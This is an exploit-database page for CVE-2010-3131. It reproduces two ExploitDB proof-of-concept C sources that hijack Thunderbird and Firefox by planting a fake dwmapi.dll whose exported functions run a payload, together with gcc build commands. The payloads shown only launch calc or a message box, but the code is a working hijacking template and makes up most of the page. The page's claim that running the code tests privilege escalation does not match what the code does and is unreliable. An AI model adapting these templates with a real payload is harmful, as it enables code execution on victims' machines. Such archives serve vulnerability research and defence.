Materialized exploit

CVE-2010-3131

2 public exploit(s) for this CVE, 2 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB local windows Verified

Source

Mozilla Thunderbird - 'dwmapi.dll' DLL Hijacking

By h4ck3r#47

How to test this exploit

Local exploit. Run on a vulnerable install in a throwaway VM and verify the privilege escalation.

gcc 14783.c -o exploit && ./exploit

Code c

/*
Exploit Title: Mozilla Thunderbird DLL Hijacking Exploit ( dwmapi.dll )
Date: 26/08/2010
Author: h4ck3r#47
http://twitter.com/hxteam
Version: Latest Mozilla Thunderbird 3.1.2
Tested on: Windows XP SP3
The code is based on the exploit from "TheLeader"
Vulnerable extensions: .eml .html
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void  DwmDefWindowProc() { evil(); }
DLLIMPORT void  DwmEnableBlurBehindWindow() { evil(); }
DLLIMPORT void  DwmEnableComposition() { evil(); }
DLLIMPORT void  DwmEnableMMCSS() { evil(); }
DLLIMPORT void  DwmExtendFrameIntoClientArea() { evil(); }
DLLIMPORT void  DwmGetColorizationColor() { evil(); }
DLLIMPORT void  DwmGetCompositionTimingInfo() { evil(); }
DLLIMPORT void  DwmGetWindowAttribute() { evil(); }
DLLIMPORT void  DwmIsCompositionEnabled() { evil(); }
DLLIMPORT void  DwmModifyPreviousDxFrameDuration() { evil(); }
DLLIMPORT void  DwmQueryThumbnailSourceSize() { evil(); }
DLLIMPORT void  DwmRegisterThumbnail() { evil(); }
DLLIMPORT void  DwmSetDxFrameDuration() { evil(); }
DLLIMPORT void  DwmSetPresentParameters() { evil(); }
DLLIMPORT void  DwmSetWindowAttribute() { evil(); }
DLLIMPORT void  DwmUnregisterThumbnail() { evil(); }
DLLIMPORT void  DwmUpdateThumbnailProperties() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

ExploitDB local windows Verified

Source

Mozilla Firefox 3.6.8 - 'dwmapi.dll' DLL Hijacking

By Glafkos Charalambous

How to test this exploit

Local exploit. Run on a vulnerable install in a throwaway VM and verify the privilege escalation.

gcc 14730.c -o exploit && ./exploit

Code c

/*
Exploit Title: Firefox <= 3.6.8 DLL Hijacking Exploit [dwmapi.dll]
Date: August 24, 2010
Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)
Version: Latest Firefox v3.6.8
Tested on: Windows XP SP3 En
Vulnerable extensions: .htm .html .jtx .mfp
Greetz: Astalavista, OffSEC, Exploit-DB
*/


#include <windows.h>
#define DllExport __declspec (dllexport)

DllExport void CPAcquireContext() { pwn(); }
DllExport void DWMAPI_100() { pwn(); }
DllExport void DWMAPI_101() { pwn(); }
DllExport void DwmEnableComposition() { pwn(); }
DllExport void DWMAPI_103() { pwn(); }
DllExport void DWMAPI_104() { pwn(); }
DllExport void DWMAPI_105() { pwn(); }
DllExport void DWMAPI_106() { pwn(); }
DllExport void DWMAPI_107() { pwn(); }
DllExport void DWMAPI_108() { pwn(); }
DllExport void DWMAPI_109() { pwn(); }
DllExport void DWMAPI_110() { pwn(); }
DllExport void DWMAPI_111() { pwn(); }
DllExport void DWMAPI_112() { pwn(); }
DllExport void DWMAPI_113() { pwn(); }
DllExport void DWMAPI_115() { pwn(); }
DllExport void DWMAPI_116() { pwn(); }
DllExport void DWMAPI_117() { pwn(); }
DllExport void DWMAPI_118() { pwn(); }
DllExport void DWMAPI_119() { pwn(); }
DllExport void DWMAPI_120() { pwn(); }
DllExport void DwmAttachMilContent() { pwn(); }
DllExport void DwmDefWindowProc() { pwn(); }
DllExport void DwmDetachMilContent() { pwn(); }
DllExport void DwmEnableBlurBehindWindow() { pwn(); }
DllExport void DwmEnableMMCSS() { pwn(); }
DllExport void DwmExtendFrameIntoClientArea() { pwn(); }
DllExport void DwmFlush() { pwn(); }
DllExport void DwmGetColorizationColor() { pwn(); }
DllExport void DwmGetCompositionTimingInfo() { pwn(); }
DllExport void DwmGetGraphicsStreamClient() { pwn(); }
DllExport void DwmGetGraphicsStreamTransformHint() { pwn(); }
DllExport void DwmGetTransportAttributes() { pwn(); }
DllExport void DwmGetWindowAttribute() { pwn(); }
DllExport void DwmIsCompositionEnabled() { pwn(); }
DllExport void DwmModifyPreviousDxFrameDuration() { pwn(); }
DllExport void DwmQueryThumbnailSourceSize() { pwn(); }
DllExport void DwmRegisterThumbnail() { pwn(); }
DllExport void DwmSetDxFrameDuration() { pwn(); }
DllExport void DwmSetPresentParameters() { pwn(); }
DllExport void DwmSetWindowAttribute() { pwn(); }
DllExport void DwmUnregisterThumbnail() { pwn(); }
DllExport void DwmUpdateThumbnailProperties() { pwn(); }

int pwn()
{
  MessageBox(0, "Firefox DLL Hijacking!", "DLL Message", MB_OK);
  return 0;
}